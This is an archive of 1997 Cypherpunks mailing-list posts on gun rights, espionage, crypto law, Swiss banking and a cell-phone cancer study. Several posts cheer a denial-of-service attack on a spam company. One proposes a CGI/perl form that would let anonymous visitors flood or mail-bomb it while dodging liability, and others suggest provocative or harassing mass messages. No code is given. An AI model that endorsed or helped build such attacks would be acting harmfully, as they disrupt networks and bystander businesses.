"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/







From txporter at mindspring.com  Wed May  7 11:34:11 1997
From: txporter at mindspring.com (Thomas Porter)
Date: Thu, 8 May 1997 02:34:11 +0800
Subject: Constitutional basis for RTKBA?
In-Reply-To: <199705051842.LAA21649@krypton.chromatic.com>
Message-ID: <3.0.1.16.19970507141846.3eafc18a@pop.mindspring.com>


At 09:43 PM 5/5/97 -0700, Kent Crispin thoughtfully expounded thus:

>I have heard, from a knowledgable person, that the reason that the NRA
>has not pressed a constitutional challenge is that their lawyers tell
>them that the historical context clearly indicates that the second
>amendment does *not* protect individual ownership of firearms, and
>that a constitutional challenge would almost certainly lose.  Hence
>the NRA resorts to lobbying.  That is, it is not a matter of 
>Roosevelt scaring the judges, but a matter of the clear intent of the 
>constitution. 


I suppose one can quibble on this, but I do not think this is the case.

It _is_ possible that precedent and the accumulation of rulings would not
support an individual right to bear arms, but from a strict constitutional
POV, as well as the historical record of quotations by the Founding Fathers
and associated writings, it is very clear that the second amendment was
specifically written to protect the individual RTKBA in order to resist the
establishment of a tyrannical government.

One of the best reviews of this is:

The Embarassing Second Amendment by Sanford Levinson, Yale Law Journal
Volume 99, pp 637-659 (1989)




Tom Porter                                       txporter at mindspring.com
------------------------------------------------------------------------
   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi






From jya at pipeline.com  Wed May  7 11:48:12 1997
From: jya at pipeline.com (John Young)
Date: Thu, 8 May 1997 02:48:12 +0800
Subject: The Microsoft Provocateur
Message-ID: <1.5.4.32.19970507183001.008eaf1c@pop.pipeline.com>


The New Yorker of May 12 has a long profile by Ken
Auletta on Myhrvold, "The Microsoft Provocateur":

"For a decade, Nathan Myhrvold, Bill Gate's corporate 
gadfly, has been writing copious, bombastic, brilliant,
and confidential memos for his boss. To read them
is to understand a lot about Microsoft -- and the future."

-----

http://jya.com/myhrvold.htm  (56K)







From tcmay at got.net  Wed May  7 11:51:35 1997
From: tcmay at got.net (Tim May)
Date: Thu, 8 May 1997 02:51:35 +0800
Subject: Zionist Spies
In-Reply-To: <1.5.4.32.19970507162104.0087bf20@pop.pipeline.com>
Message-ID: 


At 8:21 AM -0800 5/7/97, John Young wrote:
>Wash Post reports today on a NSA intercept of
>a "secure communication" between two Israeli
>spooks discussing a top US official spying for
>Israel.
>
>The FBI opened an investigation in January.
>
>Israel denies the claim.
>
>Crypto is not mentioned, only that the Hebrew
>conversation was "awkwardly" translated.
>
>The intercept was withdrawn after 12 hours from
>the distribution list due to FBI's dismay at its
>spread.

First, this was probably an intentional spreading of the news. The U.S.
wants its nominal ally, Israel, to know that it knows and that it wants
Israel to know it is publically signalling that it knows that it knows.

Second, such spying by nominal allies on each other is not new, of course,
and has always been common. The U.S. has intensive espionage efforts
directed against all of its nominal allies, often maintaining extensive
listening posts in the countries involved. (The U.S., being the big bully
on the block, can maintain large SIGINT and COMINT facilities in Japan, for
example, but reciprocal rights by the Japanese to maintain COMINT
facilities in Silicon Valley, for example, are not granted.)

Third, whether crypto is presently involved now, it soon will be. Encrypted
phones are being sold--not the Clipper-enabled duds, but the 3DES phone
Eric Blossom and his Comsec outfit is selling, Encrypted links over the
Internet for voice, too. (One of the most impressive things I ever saw was
a fully-DES-encrypted linkup of several sites via the MBONE...and this was
more than four years ago, at a Cyperpunks meeting which linked up Silicon
Valley, Washington, Boston, San Diego, and other sites.)

Fourth, under the SAFE provisions, such "diversions" of crypto to uses by
terrorists, spies, and military persons could invoke the clauses by which
exports are denied, and even trigger the "furtherance of a crime"
provisions.

We've known the Zionist state has had nukes for more than 25 years,
probably longer. And yet we cluck about the nuclear programs of other
nations.

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From cmcurtin at research.megasoft.com  Wed May  7 11:55:07 1997
From: cmcurtin at research.megasoft.com (C Matthew Curtin)
Date: Thu, 8 May 1997 02:55:07 +0800
Subject: US Citizens doing crypto work overseas
Message-ID: <199705071826.OAA18201@goffette.research.megasoft.com>


Does anyone have any idea how extensive the legal entaglements might
be for a US Citizen to accept work overseas developing crypto software
for a foreign company?

Someone at a company in Australia is interested in hiring some
crypto-clued folks, and has asked me if it's even worth pursuing
any US citizens.

advTHANKSance

-- 
Matt Curtin  Chief Scientist Megasoft Online  cmcurtin at research.megasoft.com
http://www.research.megasoft.com/people/cmcurtin/    I speak only for myself
Death to small keys.  Crack DES NOW!   http://www.frii.com/~rcv/deschall.htm






From osborne at gateway.grumman.com  Wed May  7 11:57:21 1997
From: osborne at gateway.grumman.com (Rick Osborne)
Date: Thu, 8 May 1997 02:57:21 +0800
Subject: Spam Update/Cyber Promo attacked
In-Reply-To: 
Message-ID: <3.0.1.32.19970507142536.009a7e90@gateway.grumman.com>


>PHILADELPHIA, 5-7-97  Bulk e-mail giant Cyber Promotions is under attack by
>"anti-spam" hackers. [...] Currently thousands of businesses with web pages
>and mail box accounts are being denied service.

Hmmm... the whole reason they are trying to stop the arp-spam is because
whoever is doing it is trying not to be found, right?  Well, what if
someone (or a group of someones) were to set up a web page with a script
behind it.  The page would simply ask "How many arps would you like to send
CyberPromo?".  An anonymous web user then fills in the blank, hits SUBMIT,
and the CGI does its thing.  Using this system, especially if it is not
just coming from one page but from anyone who sets up the CGI on their
system, CyberPromo really can't do anything about it, can they?

Maybe the denial of service attack is too harsh, though, and provides too
much legal ground.  What if instead of arps it sent emails to random
CyberPromo addresses?  At that point all you are doing is spamming
spammers, so what can they say?  And since it isn't you, but some passerby
on the web, you're safe from any repercussions, right?  You're just
providing the interface.

A perl script to connect directly to their SMTPd (no point in clogging
yours by using sendmail) would be trivial.  If set up on a sufficient
number of sites/pages (the form elements and script might take up a totalk
of 2k, whoopee), this could be a sort of passive agressive way of getting back.
_________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________
It's amazing how much 'mature wisdom' resembles being too tired.
- Lazarus Long






From osborne at gateway.grumman.com  Wed May  7 12:10:24 1997
From: osborne at gateway.grumman.com (Rick Osborne)
Date: Thu, 8 May 1997 03:10:24 +0800
Subject: Hackers!    Hackers!
Message-ID: <3.0.1.32.19970507145834.009aa140@gateway.grumman.com>


"the Net" Magazine, #6 for June 97 page 96, has a blurb entitled "NetSurfer
Archetypes: Seven Frightening Case Studies", one of which is of course "The
Hacker".  It says:

The Hacker
alias: :parasite:
modus operandi: Breaks into Procter & Gamble's main database, and inserts a
script that sends a free home pregnancy test to every man, woman, and child
in North America.
identifying marks: Pacific Bell lineman's uniform ("Hank from the Central
Office sent me.  You fellas got the security keys we requested?)
favorite Web site: 25 Real-Life MacGuyvers
philosophy of life: "43NytRoPH"


_________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________
DOS Tip #17: Add DEVICE=FNGRCROS.SYS to CONFIG.SYS






From jya at pipeline.com  Wed May  7 12:13:48 1997
From: jya at pipeline.com (John Young)
Date: Thu, 8 May 1997 03:13:48 +0800
Subject: Paper on IBM's New Crypto
Message-ID: <1.5.4.32.19970507190109.0083e400@pop.pipeline.com>


For the paper describing IBM's new public key algorithm by
Miklos Ajtai and Cynthia Dwork of IBM's Almaden Research
Center in San Jose, California:

   ftp://ftp.eccc.uni-trier.de/pub/eccc/reports/1996/TR96-065/index.html

IBM's press release on it:

   http://jya.com/ibmkey.htm






From tcmay at got.net  Wed May  7 12:34:27 1997
From: tcmay at got.net (Tim May)
Date: Thu, 8 May 1997 03:34:27 +0800
Subject: A "Mega" Opportunity
In-Reply-To: <1.5.4.32.19970507162104.0087bf20@pop.pipeline.com>
Message-ID: 


At 8:21 AM -0800 5/7/97, John Young wrote:
>Wash Post reports today on a NSA intercept of
>a "secure communication" between two Israeli
>spooks discussing a top US official spying for
>Israel.
>
>The FBI opened an investigation in January.
>
>Israel denies the claim.
>
>Crypto is not mentioned, only that the Hebrew
>conversation was "awkwardly" translated.
>
>The intercept was withdrawn after 12 hours from
>the distribution list due to FBI's dismay at its
>spread.

It might be fun to send some remailed messges to addesses within the
Israeli embassy (Alta Vista should turn up some valid e-mail addresses),
using various keywords like "Mega" (the code name of the highly-placed
Israeli spy), the Christopher report, Arafat, Dimona, Operation Jericho,
South Africa, and various nuclear-related terms.). A suggested sort of
message:

"Urgent that Mega exercise Option A and leave Goyland. Encode latest nuke
secrets in stego image of Golda Meier at clothing optional beach."

--Tim May, who supports "Mega's Law," which requires that the National
Security Agency notify the neighbors about any spies resettled to their
neighborhoods

There's something wrong when I'm a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From real at freenet.edmonton.ab.ca  Wed May  7 12:38:34 1997
From: real at freenet.edmonton.ab.ca (Graham-John Bullers)
Date: Thu, 8 May 1997 03:38:34 +0800
Subject: PGP
In-Reply-To: <199705060714.DAA24306@dhp.com>
Message-ID: 



I think Vulis needs each of us to send ten copies of this back to
him.

On Tue, 6 May 1997, lucifer Anonymous Remailer wrote:

> Tim C[retin] Mayflower styles his facial hair to look more 
> like pubic hair.
> 
>       ,,,
>  -ooO(o o)Ooo- Tim C[retin] Mayflower
>       (_)
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real at freenet.edmonton.ab.ca : ab756 at freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From mf at mediafilter.org  Thu May  8 03:57:28 1997
From: mf at mediafilter.org (MediaFilter)
Date: Thu, 8 May 1997 03:57:28 -0700 (PDT)
Subject: pgMedia, Inc. vs. Network Solutions, Inc. PARTY!
Message-ID: <1349049079-807401@MediaFilter.org>


name.space� hits network solutions with antitrust suit

zero.tolerance.org - mediafilter.org - and name.space
invite you to our web party and legal fundraiser at

11 East 4th Street 2F Buzzer #1
New York, NY 10003

Friday, 5-9-97, 7pm (EDT) till...

register a name in name.space
create a virtual home page
bring images to scan

if you're not live in NYC you can still see
the event on our webcam
and register from wherever you are!

check out the party at
http://namespace.party.cam

switch your PC or Mac to name.space with one click
http://ns.autono.net./ns./download.html

see.you.in.name.space

Paul Garrin

http://name.space
http://namespace.xs2.net



apologies if you got this twice
or if you do not support the freeing of the internet.

for more information on the Anti-Trust action

pgMedia, Inc. d/b/a/ name.space�

vs.

Network Solutions, Inc.

please go to

http://namespace.xs2.net/ns./legal.html













From sunder at brainlink.com  Wed May  7 13:05:48 1997
From: sunder at brainlink.com (Ray Arachelian)
Date: Thu, 8 May 1997 04:05:48 +0800
Subject: Spam Update/Cyber Promo attacked
In-Reply-To: 
Message-ID: 


On Wed, 7 May 1997, Robert Hettinga wrote:

> PHILADELPHIA, 5-7-97  Bulk e-mail giant Cyber Promotions is under attack by
> "anti-spam" hackers. This concentrated attack was planned for several
> weeks, and has been publicly discussed on Internet newsgroups. The hackers
> are using a brand new method to deny service to all Cyber Promotions'
> computers hooked to a main router on an AGIS line. The hackers have devised
> a system which sends millions of random "arp" requests to a router, which
> can disable the whole network for hours. This type of attack has never
> occurred before. Currently thousands of businesses with web pages and mail
> box accounts are being denied service.


Wooo hooo! :)  Now that's a dream come true!  Whoever did this: many 
thanks! :)  

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "So make a move and plead the fifth,   |./|\.
..\|/..|sunder at sundernet.com|  'cause you can't pleade the first!"   |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================






From lucifer at dhp.com  Wed May  7 13:35:14 1997
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Date: Thu, 8 May 1997 04:35:14 +0800
Subject: Since when is supporting unrestricted crypto unreasonable?
Message-ID: <199705072021.QAA31743@dhp.com>


At 10:46 PM 5/6/97 -0500, Omegaman wrote:
>I'm starting to think that until someone actually gets arrested and
>jailed for using strong, unbreakable encryption that is "suspected" of
>supporting a crime, little will change.  In the meantime, the
>administration, Congress, and the TLA's will keep getting closer to
>achieving their goals.

Ahh, but the government is far too clever to haul up Phil Cypherpunk and charge him with "Encryption with intent to hide".  Instead, they'll wait until they get a Tim McVeigh-esque case, show that he "conspired" using encryption, and say "See how tough on crime we are?  We must convict and fry this evil militia member.  And give him an extra 230 volts for using encryption, according to the SAFE law."  There isn't an American politician alive who would dare publically ask to have a McVeigh-level-case's sentence reduced or any stupid charges dropped.  "Sorry, I can't appear soft on this kind of criminal!"

Then, there is *legal precedent* for all kinds of criminals to get the extra 5 years (or 230 volts).  Then, when they DO come around and pound down the doors of Jim Cypherpunk for having evil thoughts about FBI agents and find an encrypted copy of Penthouse; well, hey, that law's been tested on the books before.  Lock him up.

When charges are brought up against a suspect, the suspect is truly spammed with all manner of accusations.  It's how the legal game is played.  Find someone you want to lock up, then throw enough turds and some will eventually stick.  Tim May's new signature nicely reflects this.

Therefore, citizens won't ever "win" if ProCODE or SAFE or whatever is enacted.  It'll just be another turd thrown at suspects.








From tcmay at got.net  Wed May  7 13:51:32 1997
From: tcmay at got.net (Tim May)
Date: Thu, 8 May 1997 04:51:32 +0800
Subject: Banking Secrecy and Nazi Gold
Message-ID: 


Someone sent me private mail about my post, and suggested that Swiss
bankers have historically had close ties to the Swiss government, e.g, most
are reserve officers in the Swiss military. He also suggested that
Switzerland is more of a police state than many realize. Here is my reply:


I don't argue otherwise. Likewise, Monaco is a video surveillance state,
with hundreds of cameras scattered in hidden locations throughout that tiny
place. Neither are places I'd want to live.

But the deposits of the 1930s-40s are ancient history. As I said, I see the
current foofaw as being political. (Just as the Kurt Waldheim thing was
political, in that Israel, the U.S., and many other states knew of
Waldheim's war record and chose to exploit the knowledge rather than reveal
it.)

If the U.S. forces the illegal gains to be "given back," mightn't the
fortune Joe Kennedy amasses as a rum runner be seized? The Kennedy clan
made its considerable fortune through outlaw activities, even to the
(probable) point of buying the '60 election (Illinois, as I'm sure you
know).

(Not suggesting rum running = extermination of Jews. Far from it. But the
notion of going back to events of 50-60 years ago, when ignored in the
intervening decades, must always be scrutinized for real intentions.)

Lastly, I really wish you'd make more of your comments in a public way, so
that my responses can be public.

--Tim

There's something wrong when I'm a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From frissell at panix.com  Wed May  7 14:16:04 1997
From: frissell at panix.com (Duncan Frissell)
Date: Thu, 8 May 1997 05:16:04 +0800
Subject: Banking Secrecy and Nazi Gold
In-Reply-To: 
Message-ID: <3.0.1.32.19970507170555.02655d84@panix.com>


-----BEGIN PGP SIGNED MESSAGE-----

- From some of my recent writing on the subject:

Nazi Gold, Jewish Accounts 

In the last year, Switzerland has been suffering from a series of attacks on
its record during and since the Second World War.  These articles, TV
stories, U.S. Congressional hearings, and lawsuits deal with two basic
issues.  First, that the Swiss accepted Nazi gold and deposits and performed
various financial services for the Nazi government; and second, that Swiss
banks have kept the dormant accounts of Jewish Holocaust victims and they
have refused to give these funds to their heirs.

There are several important things to note before discussing specifics.

First, many of Switzerland�s critics are bitterly opposed to the Swiss
tradition of bank secrecy.  They do not care about the desires of those Swiss
bank customers who like secrecy and they are using these complaints as a
means of attacking bank secrecy.  They would be attacking Switzerland with or
without the specific issues.

Second, these controversies are not new.  The issue of Nazi gold was debated
at length after the war in a dispute between Switzerland and the Allied
Powers.

Third, these two controversies are separate.  The Nazi Gold question concerns
the fact that Swiss banks performed financial services for the German
government and private individuals from Germany during the war.

Some of this money may have been stolen by the Germans.

The Jewish accounts question has to do with the problems some heirs of
holocaust victims have had in obtaining family money they believe to have
been deposited in Swiss Banks before the war.

a) The Critics 

Some of the recent critics of Swiss banking come to the table with "unclean
hands."  US politicians and bureaucrats hate Swiss banks and bank secrecy in
general.

Their motives in this matter are not altruistic.  They want to eliminate
financial privacy so that they can get their hands on any one�s money any
time they feel like it.  They will use any "wedge" issue they can create to
attack institutions that protect financial privacy.

Their attitude towards other people�s wealth most closely resembles that of
the Nazi government.  Everything should be fair game.

The bad publicity is a political maneuver on their part to make it easier to
get their hands on other people�s money.

US anti-privacy bureaucrats are also worried that the growth of electronic
banking via the Internet and other computer networks will allow Swiss Banks
to cheaply and easily offer their traditional protections to people all over
the world.

They know that if the Swiss can electronically expand their banking industry
worldwide, the ability of governments to grab other people�s money will be
compromised.

b) The Facts � Nazi Gold 

It is true that Swiss banks, the Swiss government, and many Swiss businesses
dealt with the German government and various German citizens before, during,
and after the war.  They provided financial services to the German government
in the same way that at the peak of the Cold War, they hosted a bank owned by
the Soviet government.

To the Swiss, neutrality has always meant neutrality.  Other neutral nations
such as Sweden, Portugal, Spain, and Turkey traded with Germany as well.  It
was perfectly legal under the then existing international law and it remains
legal today.  International boycotts were unknown 60 years ago and are not
mandatory today.

Note that today the U.S. government and U.S. companies do business with
communist China.  This is the same government which murdered 50-70 million
human beings in the last 50 years.  We are "neutral" vis a vis their crimes
against humanity.  During the Cold War, India and many other countries were
neutral concerneing the Soviet Union.  This neutrality is not generally
attacked today.  

After the war, the U.S. government was very upset with Switzerland.  They
wanted the Swiss to come up with gold that the Nazis had stolen and shipped
via Switzerland or via Swiss banks.  The US government (in a complete
abrogation of its contractual agreements) went so far as to seize large gold
deposits that Swiss banks and the Swiss government had at the Federal Reserve
Bank of New York.  This international depository, which still exists today,
holds gold from banks and governments all over the world and facilitates
large financial transfers among the depositors.

The US government claimed that large amounts of Nazi assets were on deposit
in Swiss banks and that the Allied Powers should get this money.  The Swiss
Banks didn�t want to destroy their system of bank secrecy and surrender to
the Allies the sovereignty they had maintained successfully against the
Germans.

The Swiss government maintained that under the Hague Land Warfare Convention
of 1907, cash and valuables of an occupied state - but not of private
individuals - were subject to the occupying state�s right to the spoils of
war. Thus, Germany could have acquired gold and other assets from occupied
areas legally, and sold it.  They also said that the Swiss National Bank had
acquired the gold in good faith.

The US government also imposed controls on Swiss private holdings in the US
(approx. SFr4.5 billion) to increase its leverage in the negotiations.

Finally, in 1946, under enormous pressure the Swiss delegation offered to
settle all Allied claims by paying a lump sum of SFr. 250 million in gold
(worth today approximately SFr. 1.5 billion), which the Allies accepted,
irrevocably waiving all further claims and deblocking the billions of Swiss
Francs in frozen US accounts.

So in spite of what you may have heard, the question of Nazi gold in Swiss
banks was settled by treaty in 1946.  There is no new information on "Nazi
gold" available today.

In 1946, Switzerland and the Allies disagreed over the amount and the legal
status of gold and other property deposited by the Nazis in Switzerland. 
They still disagree today.

But in 1946 they did agree to settle all claims by a payment of gold so the
U.S. can't reopen this issue without breaking its treaty obligations.

c) The Facts � Jewish Accounts 

Both before and during the war, Jews and other victims of Nazi oppression
opened bank accounts in Switzerland.  Switzerland welcomed this money and,
indeed, passed its bank secrecy law in 1934 in part to protect these accounts
from the totalitarian nations which might want to grab them.

Many thousands of Jews who escaped from Hitler prior to the war, or who
survived the Holocaust, used their Swiss bank accounts to pay for their
escape and start their new lives in the countries into which they fled.

Recent complaints about the status of Jewish accounts in Swiss banks have
mixed in a host of extraneous issues which have to be disposed of before we
can talk about the real question.

First, it is true that Switzerland refused to accept many refugees who were
fleeing the Nazis.  Like the U.S., the U.K. and almost every other nation,
Switzerland used its tight immigration laws to block the escape of many
victims of tyranny.  Most people think this is outrageous.  It is also true,
however, that Switzerland did accept thousands of refugees in the years
between 1933 and 1938 when they decided that they had enough.  During this
same period, the U.S. admitted very few refugees.

But it is irrelevant to the issue of Jewish Bank accounts.

Second, many individual Nazis also used Swiss banks after the war to aid
their escape from Allied authorities.  This establishes nothing except the
neutrality of the Swiss banks.

The real charge is that Swiss banks have blocked attempts by the heirs of
Jewish (and presumably other) account holders to obtain the contents of those
accounts.  These are the children of the many who died in concentration camps
and who came from places where whole families, and indeed whole villages,
were wiped out by Nazi terror or who died in the awesome destruction of that
war.

These heirs have approached Swiss banks to try to find accounts and some have
been frustrated in that attempt.

Note that no one has claimed that they were themselves an account holder and
have been unable to get their money out of their own bank.  These are
children or grandchildren who often lack specific information on the bank
accounts their parents may have held.

There are a number of things one can say about the problems someone without
documentation has getting money out of a 60-year-old bank account.

I recently asked a friend of mine, a former resident of Berlin, about this
problem.  He had been a guest of the German government in Auschwitz for a
time in the 1940s.  Today, living in America, he has the pension which
Germany pays to all concentration camp survivors paid into his Swiss bank
account.  His response: "If it was easy to get money out of Swiss banks, the
Nazis would have gotten all of it."

The fact is that Swiss banks require proof before they part with an account
holder's money.  They are not casual about other people's money like some
institutions in other countries.

Many heirs of the Nazi victims did get their money out of Swiss banks.  They
had proof that the accounts existed and that they were entitled to the funds.
 Unfortunately, others were not able to establish their claims.  The same
thing could happen in America.

All banks end up with dormant accounts over time.  People forget that they
have them or they die without heirs.  Money is often lost in this way.

In the U.S. (and all other Anglo-Saxon legal systems)  dormant accounts are
seized by state governments after a certain period of time and their contents
are blown on whatever schemes the state thinks worthwhile.  This process is
called escheatment.

If an owner finds out about the dormant account later, he can apply to the
state government for the money.

Switzerland does not practice escheatment.  If you give your money to a Swiss
bank, it will be there forever waiting for you and any heirs who have proof
that it's theirs.

The Swiss system is certainly preferable to the American system in this
regard.

Caveat:  Keep good records (including records not located where you live) and
make sure your heirs can find out where your accounts are.

-----BEGIN PGP SIGNATURE-----
Version: 4.5

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PQeDXdZhq/ZPOW8mk6r0PaIZ+5MaJBNJ8JlbHj6epsCRE78IVCMEB2lcnmLujIRP
JheeE/3FS+BI+iLezkTTFtbqsI1VUikOFZVocOOa8FslnWFM9Xxt7xg0KfcipjRa
CF+sqSt3PVw=
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-----END PGP SIGNATURE-----






From ppomes at Qualcomm.com  Wed May  7 14:45:13 1997
From: ppomes at Qualcomm.com (Paul Pomes)
Date: Thu, 8 May 1997 05:45:13 +0800
Subject: (fwd) Cell Phone Cancer Study
In-Reply-To: <1.5.4.32.19970506142235.0083d2e4@pop.pipeline.com>
Message-ID: <8567.863039796@zelkova.qualcomm.com>


While I am not involved with the cellular area of Qualcomm, I am
familiar with the publishing policies of Nature and Science as a
reader of both for the last ten years.  Neither journal shies away
from controversy.  We have only the author's say-so as to why their
papers were rejected.  To me Occams Razor suggests bad science as
a better explanation than conspiracy.

I sent the following to Stewart Fist:

>|When presented to 'Science' magazine for publication the study was
>|rejected on the grounds that publication "would cause a panic".
>
>Proof please.  More likely Nature and Science rejected it because it
>was badly done science.

His response:

|I don't offer proof.  I am a journalist, and I just report what I was told
|in interviews with the scientists involved.

So there's been no confirmation or checking of the science involved, or why
the papers were rejected by both an American and British science journal.

/pbp






From jya at pipeline.com  Wed May  7 15:19:08 1997
From: jya at pipeline.com (John Young)
Date: Thu, 8 May 1997 06:19:08 +0800
Subject: (fwd) Cell Phone Cancer Study
Message-ID: <1.5.4.32.19970507215200.0094bc88@pop.pipeline.com>


Thanks for critiquing this sensitive topic.

The 11-page paper was published by Radiation 
Research, as noted here, whose editor is at Oak
Ridge National Lab, if that offers credibility.

Radiation Research's Web site shows an impressive
range of credentials of scientists in the field, perhaps 
superior, if more specialized, to that of Science and 
Nature, both which oft times suffers the chancres of
promiscuous sci-populuxitis.

Best is to see the report for oneself. A copy is available 
for US$30.00 by fax. Request by calling the publisher 
at (423) 574-5874. Or E-mail to:

   Radiation Research
   Biology Division
   Oak Ridge National Laboratory
   

We've had a layman's look and cite the authors' final
cautionary paragraph:

"This is not to imply that any humans at all are necessarily
at increased risk of cancer as a consequence of exposure 
to RF fields. No single experiment on animals can allow such
a conclusion. Rather, we believe the study reported here
indicates a need for further research. Tumorigenesis in
genetically predisposed mice may provide a useful assay
for interactions between RF fields and biological systems. 
With the current rapid expansion in the use of RF fields
for telecommunications, a reliable assay is required to
enable a better assessment of limits to safe levels of
human exposure."

Send more money or die, sucker, the "responsible" scientist's 
clanging alarm, eh?







From dave at kachina.jetcafe.org  Wed May  7 15:24:37 1997
From: dave at kachina.jetcafe.org (Dave Hayes)
Date: Thu, 8 May 1997 06:24:37 +0800
Subject: Controversial Commercial ISP for Remailer?
Message-ID: <199705072212.PAA22343@kachina.jetcafe.org>


> Dave Hayes wrote:
> > Igor Chudov writes:
> > > I am interested in your view, Dave.
> > 
> > There are only two reasons that I can see your interest serving. 
> > You either wish to support my views or oppose them. Neither case
> > serves your potential enlightement, therefore I shall choose to 
> > not answer.
> Dave, you are a very insightful man, but in this case you were
> mistaken: I am interested to hear your views for my enlightenment.

I responded that way for a reason. I offered my view on spamming
spammers. You replaced "spamming spammers" with "hacking spammers".
I do not see the relevance, hence my answer.
------
Dave Hayes - Altadena CA, USA - dave at jetcafe.org 
Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet

     Who are the learned? Those who put into practice what they know. 









From frogfarm at yakko.cs.wmich.edu  Wed May  7 15:26:44 1997
From: frogfarm at yakko.cs.wmich.edu (Damaged Justice)
Date: Thu, 8 May 1997 06:26:44 +0800
Subject: (fwd) Elctronic Funds Transfer Expansion Act
Message-ID: <199705072216.SAA25634@yakko.cs.wmich.edu>



>From Post Office Credit Union' _Credit Union Post_, Spring 1997:

Congress recently passed a law making it mandatory to receive government
payments by direct deposit to a financial institution. It's called
"Electronic Funds Transfer Expansion Act," and it requires all federal
payments, except an IRS refund check to be issued by electronic funds
transfer (Direct Deposit).

It will affect anyone who receives veteran's benefits, Social Security,
federal government and military pensions and salaries, or any government
payment. Members who have their payments sent to Post Office Credit Union
will have _immediate access_ to their money.

So what are you waiting for? If you don't already have direct deposit,
consider signing up for it. It's not only easy, convenient, and safe, it
will soon be mandatory for all!

Give us a call at 244-3518 to take advantage of direct deposit today!

--
[The] "Electronic Funds Transfer Expansion Act".. requires all federal payments
except an IRS refund check to be issued by electronic funds transfer. So what
are you waiting for? If you don't already have direct deposit, consider signing
up for it. It's not only easy, convenient, and safe, it will soon be mandatory
for all! [Post Office Credit Union' Credit Union Post_, Spring 1997]
 






From dave at kachina.jetcafe.org  Wed May  7 15:30:35 1997
From: dave at kachina.jetcafe.org (Dave Hayes)
Date: Thu, 8 May 1997 06:30:35 +0800
Subject: Controversial Commercial ISP for Remailer?
Message-ID: <199705072207.PAB22259@kachina.jetcafe.org>


Ray Arachalian writes:
> On Tue, 6 May 1997, Dave Hayes wrote:
> > Igor Chudov writes:
> > > I am interested in your view, Dave.
> > There are only two reasons that I can see your interest serving. 
> > You either wish to support my views or oppose them. Neither case
> > serves your potential enlightement, therefore I shall choose to 
> > not answer.
> A very Zen answer (and quite a slippery one at that.) 

Thank you.

> What if Igor was simply curious as to your views?

Curiosity does not generally have zero attachment to other goals.  If
it did in this case, the information is not useful.

> If not what difference does it make whether he supports or opposes
> your view? 

Moo.

> Why do you care whether or not a person is enlightened by your
> response?

I don't. 

> If you truly are following Zen, then it is not for you to decide
> what will or won't enlighten others since this would mean taking
> responsability for another person's karma.

I neither follow nor lead Zen, but it is interesting to note your
conjugation of "truth" and it's implications. 

> IMHO, your response isn't one of potentially enlightening others, but rather
> fear of sharing your opinion.  

Since it is clear you cannot understand the former, the latter is all
that is open to you to understand. Perhaps that is good enough,
for your purposes. 

> This is two fold.  If you fear he will oppose it, you are seeking
> the approval of others. If you fear he will agree to it, you fear
> that those who oppose his views will oppose yours.

There are many more folds that you have overlooked. 

I may desire him to oppose it, thus seeking negative approval.  

I may desire him to agree to it, thus seeking positive approval.  

I may desire him to neither agree nor oppose it, thus seeking his
enlightenment by my words, which is really seeking positive approval.

I may fear he will neither agree nor oppose it, thus seeking his
lack of enlightenment by my words, which is really seeking negative
approval. 

> You could take the hidden third option and claim privacy, however it
> is too late to do so since you have already shared some commentary -
> and thus this path is closed to you.

No path is closed to me, except by my choice. 

> Your responses so far were to the ethical and moral standards of spamming the
> spammers.  I wasn't interested in such.  I am comfortable with my own morals
> and take responsability for my actions.  However, the point of this paragraph
> is that you have tried to share with us your morals, and thus thrust them
> upon us, later, here, you say you lack the will to share your views with us,
> and thus back out of passing judgement on our hypothetical actions.
> And at this point I am no longer interested in your oppinion on this 
> matter for it is jaded by fear, so please, don't even bother to reply. :)

Notice the way you respond to my sharing: You pass judgement on my
views, thus preventing your own enlightenment. Then you say you lack
the will to be interested in my response, thus becoming guilty of what
you claim I am guilty of.

This was truly a mirrored interchange. I thank you for the opportunity
to witness my self in you. ;-)
------
Dave Hayes - Altadena CA, USA - dave at jetcafe.org 
